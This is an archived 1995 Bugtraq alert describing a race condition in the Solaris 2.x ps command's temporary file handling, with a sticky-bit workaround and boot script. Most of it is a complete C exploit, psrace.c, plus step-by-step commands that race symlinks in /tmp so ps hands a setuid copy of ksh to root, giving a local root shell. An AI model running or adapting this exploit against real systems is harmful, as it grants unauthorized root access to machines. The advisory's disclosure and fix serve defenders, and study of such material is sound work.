home *** CD-ROM | disk | FTP | other *** search
/ For Beginners & Professional Hackers / cd.iso / hackers / exploits / solaris / sol-ps~1.asc < prev    next >
Encoding:
Text File  |  1997-03-11  |  4.8 KB  |  188 lines

  1.  
  2.  
  3.  
  4.  
  5.  
  6.  
  7. B U G T R A Q   A L E R T                           bugtraq-alert-081495.01
  8.  
  9.  
  10.  
  11. August 14, 1995
  12.  
  13. ===========================================================================
  14.  
  15.  
  16.  
  17. OPERATING SYSTEM(S):
  18.  
  19.  
  20.  
  21.          Solaris 2.x (Sunos 5.x)
  22.  
  23.  
  24.  
  25. DESCRIPTION:
  26.  
  27.  
  28.  
  29.          A race condition exists in /usr/bin/ps when ps opens a temporary
  30.  
  31.          file when executed.  After opening the file, /usr/bin/ps chown's the
  32.  
  33.          temporary file to root and the renames it to /tmp/ps_data.
  34.  
  35.  
  36.  
  37. WORKAROUND:
  38.  
  39.  
  40.  
  41.          chmod +t /tmp
  42.  
  43.  
  44.  
  45.          Unfortunately this may not solve the entire problem.  If your
  46.  
  47.          machine is rebooted and you are mounting swap as /tmp (most cases)
  48.  
  49.          the sticky-bit on your /tmp directory will disappear.  Normally
  50.  
  51.          the boot script /etc/rc2.d/S05RMTMPFILES should be doing this
  52.  
  53.          work but will not if you are mounting your /tmp directory.
  54.  
  55.  
  56.  
  57.          The following is a bootup script should be added to ensure that
  58.  
  59.          the sticky bit stays.
  60.  
  61.  
  62.  
  63.          This file should be called /etc/rc3.d/S79tmpfix
  64.  
  65.  
  66.  
  67. 8<------------------------- cut here -------------------------
  68.  
  69.  
  70.  
  71. #!/bin/sh
  72.  
  73. #ident  "@(#)tmpfix 1.0    95/09/14"
  74.  
  75.  
  76.  
  77. if [ -d /tmp ]
  78.  
  79. then
  80.  
  81.    /usr/bin/chmod 1777 /tmp
  82.  
  83.    /usr/bin/chgrp sys /tmp
  84.  
  85.    /usr/bin/chown sys /tmp
  86.  
  87. fi
  88.  
  89.  
  90.  
  91. 8<------------------------- cut here -------------------------
  92.  
  93.  
  94.  
  95.  
  96.  
  97. EXPLOIT:
  98.  
  99.  
  100.  
  101.   The following is exploit code that will allow you to change any
  102.  
  103. file on a Solaris 2.x machine to uid 0 (as well as setuid files).
  104.  
  105.  
  106.  
  107.  
  108.  
  109. 8<------------------------- cut here -------------------------
  110.  
  111.  
  112.  
  113. /*
  114.  
  115.  *  psrace.c
  116.  
  117.  *
  118.  
  119.  *  Copyright, 1995, by Scott Chasin (chasin@crimelab.com)
  120.  
  121.  *
  122.  
  123.  *  This material is copyrighted by Scott Chasin, 1995. The
  124.  
  125.  *  usual standard disclaimer applies, especially the fact that the
  126.  
  127.  *  author is not liable for any damages caused by direct or indirect
  128.  
  129.  *  use of the information or functionality provided by this program.
  130.  
  131.  *
  132.  
  133.  *  [ For solaris2.x only ]
  134.  
  135.  *
  136.  
  137.  *  After compiling psrace, run the following commands:
  138.  
  139.  *
  140.  
  141.  *  cp /bin/ksh $HOME/rootshell; chmod 14755 $HOME/rootshell
  142.  
  143.  *  /bin/sh -c 'while /bin/true ; do ps > /dev/null ; done' &
  144.  
  145.  *  ./psrace $HOME/rootshell
  146.  
  147.  *
  148.  
  149.  *  (Ignore any errors you get from ps)
  150.  
  151.  *  You may have to wait a few minutes before the race is won.
  152.  
  153.  */
  154.  
  155.  
  156.  
  157. #include <stdio.h>
  158.  
  159. #include <sys/types.h>
  160.  
  161.  
  162.  
  163. #include <dirent.h>
  164.  
  165. #include <sys/stat.h>
  166.  
  167.  
  168.  
  169. main (argc, argv)
  170.  
  171. int argc;
  172.  
  173. char **argv;
  174.  
  175. {
  176.  
  177.   int count = 0;
  178.  
  179.   DIR *dirp;
  180.  
  181.   struct dirent *dp;
  182.  
  183.   struct stat fileinfo;
  184.  
  185.   char targetfile [85], name [85];
  186.  
  187.  
  188.  
  189.   if (argc != 2)
  190.  
  191.    {
  192.  
  193.       printf ("Usage: psrace [/full/path/to/target/filename]\n");
  194.  
  195.       exit (1);
  196.  
  197.    }
  198.  
  199.  
  200.  
  201.   if (access (argv[1], 0))
  202.  
  203.    {
  204.  
  205.       printf ("psrace: %s does not exist.\n", argv[1]);
  206.  
  207.       exit (1);
  208.  
  209.    }
  210.  
  211.  
  212.  
  213.   strcpy (targetfile, argv[1]);
  214.  
  215.  
  216.  
  217.   stat ("/tmp", &fileinfo);
  218.  
  219.   if (fileinfo.st_mode & S_ISVTX)
  220.  
  221.    {
  222.  
  223.       printf ("psrace: Congratulations! You already have the fix in place.\n");
  224.  
  225.       printf ("psrace: (/tmp has the sticky-bit set)\n");
  226.  
  227.       exit (1);
  228.  
  229.    }
  230.  
  231.  
  232.  
  233.   printf ("Be patient, this could take awhile.\n");
  234.  
  235.   printf ("Starting the race .. ");
  236.  
  237.   fflush (stdout);
  238.  
  239.  
  240.  
  241.   dirp = opendir ("/tmp");
  242.  
  243.  
  244.  
  245.   for (;;)
  246.  
  247.    {
  248.  
  249.      unlink ("/tmp/ps_data");
  250.  
  251.  
  252.  
  253.      while ((dp = readdir (dirp)) != NULL)
  254.  
  255.       {
  256.  
  257.         if (!strncmp (dp->d_name, "ps.", 3))
  258.  
  259.          {
  260.  
  261.            sprintf (name, "/tmp/%s", dp->d_name);
  262.  
  263.            unlink (name);
  264.  
  265.  
  266.  
  267.            symlink (targetfile, name);
  268.  
  269.  
  270.  
  271.            if (stat (targetfile, &fileinfo) >= 0)
  272.  
  273.                if (fileinfo.st_uid == 0)
  274.  
  275.                  {
  276.  
  277.                    printf ("We WON!\n");
  278.  
  279.                    closedir (dirp);
  280.  
  281.                    clean_up ();
  282.  
  283.                  }
  284.  
  285.          }
  286.  
  287.       }
  288.  
  289.      rewinddir (dirp);
  290.  
  291.    }
  292.  
  293.  }
  294.  
  295.  
  296.  
  297.  
  298.  
  299. clean_up ()
  300.  
  301. {
  302.  
  303.   DIR *dirp;
  304.  
  305.   struct dirent *dp;
  306.  
  307.   char name [25];
  308.  
  309.  
  310.  
  311.   dirp = opendir ("/tmp");
  312.  
  313.  
  314.  
  315.   while ((dp = readdir (dirp)) != NULL)
  316.  
  317.       if (!strncmp (dp->d_name, "ps.", 3))
  318.  
  319.        {
  320.  
  321.           sprintf (name, "/tmp/%s", dp->d_name);
  322.  
  323.           unlink (name);
  324.  
  325.        }
  326.  
  327.   closedir (dirp);
  328.  
  329.  
  330.  
  331.   unlink ("/tmp/ps_data");
  332.  
  333.   exit (0);
  334.  
  335. }
  336.  
  337.  
  338.  
  339. 8<------------------------- cut here -------------------------
  340.  
  341.  
  342.  
  343.  
  344.  
  345. ===========================================================================
  346.  
  347.  
  348.  
  349. A thanks goes out to Neil Readwin (nreadwin@micrognosis.co.uk) who provided
  350.  
  351. a few ideas in making the exploit code a bit more "enhanced".
  352.  
  353.  
  354.  
  355. For questions regarding this alert, please feel free to mail me.
  356.  
  357. For more discussion on this alert:
  358.  
  359.  
  360.  
  361.     bugtraq@crimelab.com                Bugtraq reflector list
  362.  
  363.     bugtraq-request@crimelab.com        Information / Request address
  364.  
  365.  
  366.  
  367.  
  368.  
  369. Scott Chasin
  370.  
  371. chasin@crimelab.com
  372.  
  373.  
  374.  
  375.